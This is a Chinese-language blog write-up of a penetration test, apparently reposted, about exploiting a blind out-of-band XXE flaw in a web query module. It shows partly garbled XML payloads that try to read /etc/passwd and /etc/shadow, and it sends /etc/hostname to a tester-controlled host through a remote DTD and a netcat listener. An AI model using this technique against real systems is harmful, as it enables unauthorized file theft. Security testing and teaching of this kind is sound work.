文件读取 xxe_漏洞笔记|记一次与XXE漏洞的爱恨纠缠
0x01背景:
kaiputenku大佬最近在挖洞的時候偶遇一枚XXE漏洞,身經百戰的他經過一番愛恨糾纏,終將她順利拿下~
0x02糾纏一番只為她-Blind OOB XXE:
???????? 在測試某系統的某查詢功能模塊如下:
查詢模塊.jpg(請各位大佬自行腦補)
下面即將開始kaiputenku的表演:
首先使用burp抓包,發現提交xml形式的數據包,很容易想到可能存在XML外部實體注入
? 嘗試構造以下payload讀取/etc/shadow文件:
<?xml version="1.0" encoding="utf-8"?>]><root>&file;root>HTTP回顯報錯Permission denied,說明payload成功執行,證明確實存在XML外部實體注入,只是用戶權限不足讀取失敗
嘗試構造以下payload讀取/etc/passwd文件
<?xml version="1.0" encoding="utf-8"?>]><root>&file;root>發現HTTP回顯正常,但是沒有我們想要的passwd文件信息,說明是Blind XXE漏洞
Blind XXE漏洞有兩種常見的利用方式,ftp讀回顯和http讀回顯
嘗試ftp讀回顯
測試主機ip為10.xx.xx.31
1)在測試主機上開啟Web服務,并創建eval.dtd文件,內容如下
2)在測試主機上下載并運行xxe-ftp-server.rb,運行后會在2121端口開啟ftp服務,腳本下載地址:https://github.com/ONsec-Lab/scripts
3)構造如下payload并發起請求
<?xml version="1.0" encoding="utf-8"?>%asd;%c;]><a>&rrr;a>發現HTTP回顯Connection refused
在測試主機Web日志中發現目標主機已經成功下載了evil.dtd文件,但是HTTP又回顯Connection refused,猜測是ftp服務的問題
直接在瀏覽器中訪問http://10.xx.xx.31:2121/,發現連接被拒絕,這里沒搞不明白為什么已經開啟了ftp服務并且正在監聽[::]:2121還是拒絕連接,換了臺測試主機出現同樣的問題,花了很長時間沒有解決,猜測是內部網絡策略的問題,遂放棄,準備嘗試HTTP讀回顯的方式。
嘗試http讀回顯
測試主機ip為10.xx.xx.31
1)在測試主機上開啟Web服務,并創建eval.dtd文件,內容如下
2)使用nc進行監聽,執行necat.exe -lvvp 8081,監聽8081端口
3)構造如下payload并發起請求
%remote;%int;%send;]>發現HTTP回顯Illegal character in URL,說明該payload成功讀取到/etc/passwd文件,嘗試將/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由于passwd文件中的數據不符合URL構造要求,所以目標主機報Illegal character in URL的錯誤
所以開始嘗試讀取較為簡單,文本信息較少的文件,比如/etc/hostname文件,里面只是保存了主機名,應該不會有什么特殊字符導致URL不合法
修改測試主機中的evil.dtd文件如下:
再次請求payload,發現該請求一直處于Waiting狀態
并且發現necat.exe成功監聽到目標主機的Web請求,并且在URL中讀取到/etc/hostname文件信息,目標主機名為gp13erxxxxxxx36
0x03總結:
以上即為測試該漏洞的全部過程,由于處于全內網環境,尋找下載工具花了較長時間,ftp拒絕連接的坑也花費了很長時間,最后還是沒有解決--.--。但是變通使用necat監聽http請求成功讀取到了目標主機的文件信息。
當然還有很多玩法,比如內網主機、端口存活掃描,DOS等,大家自己探索~
總結
以上是生活随笔為你收集整理的文件读取 xxe_漏洞笔记|记一次与XXE漏洞的爱恨纠缠的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 内存管理神器!如何用lineage多任务
- 下一篇: 歌一定要带监听耳机吗_在演唱会上,歌手耳